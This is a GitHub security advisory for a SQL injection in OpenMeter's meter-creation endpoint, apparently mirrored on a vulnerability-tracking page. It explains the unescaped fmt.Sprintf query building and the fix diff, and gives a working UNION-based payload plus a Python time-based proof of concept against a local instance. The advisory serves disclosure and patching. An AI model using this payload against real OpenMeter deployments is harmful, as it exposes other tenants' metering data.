GHSA-WC3V-3457-C8CM
Vulnerability from github – Published: 2026-06-04 18:39 – Updated: 2026-06-04 18:39Summary
An authenticated tenant can inject arbitrary SQL through the valueProperty or groupBy fields of POST /api/v1/meters. The injection passes the application's JSONPath validation check and executes against the shared ClickHouse database, which contains event data for all tenants with no row-level security. Any authenticated tenant can read or write every other tenant's metering data.
Details
openmeter/streaming/clickhouse/utils_query.go:15 builds a ClickHouse SELECT by interpolating user input with fmt.Sprintf:
sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath)))
sqlbuilder.Escape() (go-sqlbuilder v1.40.2) only replaces $ → $$ to prevent collisions with the library's own argument placeholders. It does not escape single quotes. A single quote in the input closes the string literal, and subsequent tokens execute as raw SQL. sb.Build() always returns an empty args slice — the query is never parameterized.
The payload must be prefixed with a valid JSONPath expression (e.g. $.foo) because ClickHouse raises error code 36 (BAD_ARGUMENTS) on an empty JSONPath string, which ValidateJSONPath silently treats as "invalid JSONPath" and returns early — before the injected branch can execute.
Working payload:
$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --
Generated SQL:
SELECT JSON_VALUE('{}', '$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --'
Fix — replace fmt.Sprintf string interpolation with sb.Var(), which appends the value to the builder's args list and emits a ? placeholder:
-sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath)))
+sb.Select(fmt.Sprintf("JSON_VALUE('{}', %s)", sb.Var(d.jsonPath)))
PoC
poc.py:
import json, time, uuid
from urllib.request import Request, urlopen
SLEEP = 3
API = "http://localhost:48888"
PAYLOAD = f"$.foo') UNION ALL SELECT toString(sleep({SLEEP})) FROM system.one --"
def post_meter(value_property):
body = json.dumps({
"slug": f"poc_{uuid.uuid4().hex[:8]}",
"eventType": "x",
"aggregation": "SUM",
"valueProperty": value_property,
}).encode()
req = Request(f"{API}/api/v1/meters", data=body,
headers={"Content-Type": "application/json"}, method="POST")
t0 = time.monotonic()
with urlopen(req, timeout=SLEEP + 10) as r:
return r.status, time.monotonic() - t0
_, baseline = post_meter("$.tokens")
status, elapsed = post_meter(PAYLOAD)
print(f"baseline : {baseline:.3f}s")
print(f"injected : {elapsed:.3f}s (HTTP {status})")
print(f"result : sleep({SLEEP}) {'CONFIRMED' if elapsed >= baseline + SLEEP - 0.5 else 'not confirmed'}")
docker compose up -d
until curl -sf http://localhost:48888/api/v1/meters > /dev/null; do sleep 3; done
python3 poc.py
Expected output:
baseline : 0.036s
injected : 3.031s (HTTP 200)
result : sleep(3) CONFIRMED
Impact
SQL injection via POST /api/v1/meters (valueProperty or groupBy). Requires a valid tenant API key; no other preconditions. The shared openmeter.om_events table has no row-level security — a successful injection gives unrestricted read access to all tenants' event subjects, types, payloads, and timestamps. Write access is subject to the ClickHouse user's grants. Denial of service via resource-exhausting queries is also possible.
Attribution
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Shoshana Makinen at Anvil Secure in collaboration with Anthropic Research.
For CVE credits and public acknowledgments: Anvil Secure in collaboration with Claude and Anthropic Research
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/openmeterio/openmeter"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.0-beta.228"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-8462"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-04T18:39:52Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nAn authenticated tenant can inject arbitrary SQL through the `valueProperty` or `groupBy` fields of `POST /api/v1/meters`. The injection passes the application\u0027s JSONPath validation check and executes against the shared ClickHouse database, which contains event data for all tenants with no row-level security. Any authenticated tenant can read or write every other tenant\u0027s metering data.\n\n### Details\n\n`openmeter/streaming/clickhouse/utils_query.go:15` builds a ClickHouse `SELECT` by interpolating user input with `fmt.Sprintf`:\n\n```go\nsb.Select(fmt.Sprintf(\"JSON_VALUE(\u0027{}\u0027, \u0027%s\u0027)\", sqlbuilder.Escape(d.jsonPath)))\n```\n\n`sqlbuilder.Escape()` (go-sqlbuilder v1.40.2) only replaces `$` \u2192 `$$` to prevent collisions with the library\u0027s own argument placeholders. It does not escape single quotes. A single quote in the input closes the string literal, and subsequent tokens execute as raw SQL. `sb.Build()` always returns an empty `args` slice \u2014 the query is never parameterized.\n\nThe payload must be prefixed with a valid JSONPath expression (e.g. `$.foo`) because ClickHouse raises error code 36 (BAD_ARGUMENTS) on an empty JSONPath string, which `ValidateJSONPath` silently treats as \"invalid JSONPath\" and returns early \u2014 before the injected branch can execute.\n\nWorking payload:\n```\n$.foo\u0027) UNION ALL SELECT toString(sleep(3)) FROM system.one --\n```\n\nGenerated SQL:\n```sql\nSELECT JSON_VALUE(\u0027{}\u0027, \u0027$.foo\u0027) UNION ALL SELECT toString(sleep(3)) FROM system.one --\u0027\n```\n\nFix \u2014 replace `fmt.Sprintf` string interpolation with `sb.Var()`, which appends the value to the builder\u0027s args list and emits a `?` placeholder:\n\n```diff\n-sb.Select(fmt.Sprintf(\"JSON_VALUE(\u0027{}\u0027, \u0027%s\u0027)\", sqlbuilder.Escape(d.jsonPath)))\n+sb.Select(fmt.Sprintf(\"JSON_VALUE(\u0027{}\u0027, %s)\", sb.Var(d.jsonPath)))\n```\n\n### PoC\n\n`poc.py`:\n\n```python\nimport json, time, uuid\nfrom urllib.request import Request, urlopen\n\nSLEEP = 3\nAPI = \"http://localhost:48888\"\nPAYLOAD = f\"$.foo\u0027) UNION ALL SELECT toString(sleep({SLEEP})) FROM system.one --\"\n\ndef post_meter(value_property):\n body = json.dumps({\n \"slug\": f\"poc_{uuid.uuid4().hex[:8]}\",\n \"eventType\": \"x\",\n \"aggregation\": \"SUM\",\n \"valueProperty\": value_property,\n }).encode()\n req = Request(f\"{API}/api/v1/meters\", data=body,\n headers={\"Content-Type\": \"application/json\"}, method=\"POST\")\n t0 = time.monotonic()\n with urlopen(req, timeout=SLEEP + 10) as r:\n return r.status, time.monotonic() - t0\n\n_, baseline = post_meter(\"$.tokens\")\nstatus, elapsed = post_meter(PAYLOAD)\n\nprint(f\"baseline : {baseline:.3f}s\")\nprint(f\"injected : {elapsed:.3f}s (HTTP {status})\")\nprint(f\"result : sleep({SLEEP}) {\u0027CONFIRMED\u0027 if elapsed \u003e= baseline + SLEEP - 0.5 else \u0027not confirmed\u0027}\")\n```\n\n```shell\ndocker compose up -d\nuntil curl -sf http://localhost:48888/api/v1/meters \u003e /dev/null; do sleep 3; done\npython3 poc.py\n```\n\nExpected output:\n```\nbaseline : 0.036s\ninjected : 3.031s (HTTP 200)\nresult : sleep(3) CONFIRMED\n```\n\n### Impact\n\nSQL injection via `POST /api/v1/meters` (`valueProperty` or `groupBy`). Requires a valid tenant API key; no other preconditions. The shared `openmeter.om_events` table has no row-level security \u2014 a successful injection gives unrestricted read access to all tenants\u0027 event subjects, types, payloads, and timestamps. Write access is subject to the ClickHouse user\u0027s grants. Denial of service via resource-exhausting queries is also possible.\n\n### Attribution\nThis vulnerability was discovered by Claude, Anthropic\u0027s AI assistant, and triaged by Shoshana Makinen at Anvil Secure in collaboration with Anthropic Research.\n\nFor CVE credits and public acknowledgments: Anvil Secure in collaboration with Claude and Anthropic Research",
"id": "GHSA-wc3v-3457-c8cm",
"modified": "2026-06-04T18:39:52Z",
"published": "2026-06-04T18:39:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openmeterio/openmeter/security/advisories/GHSA-wc3v-3457-c8cm"
},
{
"type": "WEB",
"url": "https://github.com/openmeterio/openmeter/pull/4383"
},
{
"type": "WEB",
"url": "https://github.com/openmeterio/openmeter/commit/6ce29e743165890c10346f4c71d5bf79f1ecaf6f"
},
{
"type": "PACKAGE",
"url": "https://github.com/openmeterio/openmeter"
},
{
"type": "WEB",
"url": "https://github.com/openmeterio/openmeter/releases/tag/v1.0.0-beta.228"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenMeter: SQL injection through meter creation"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.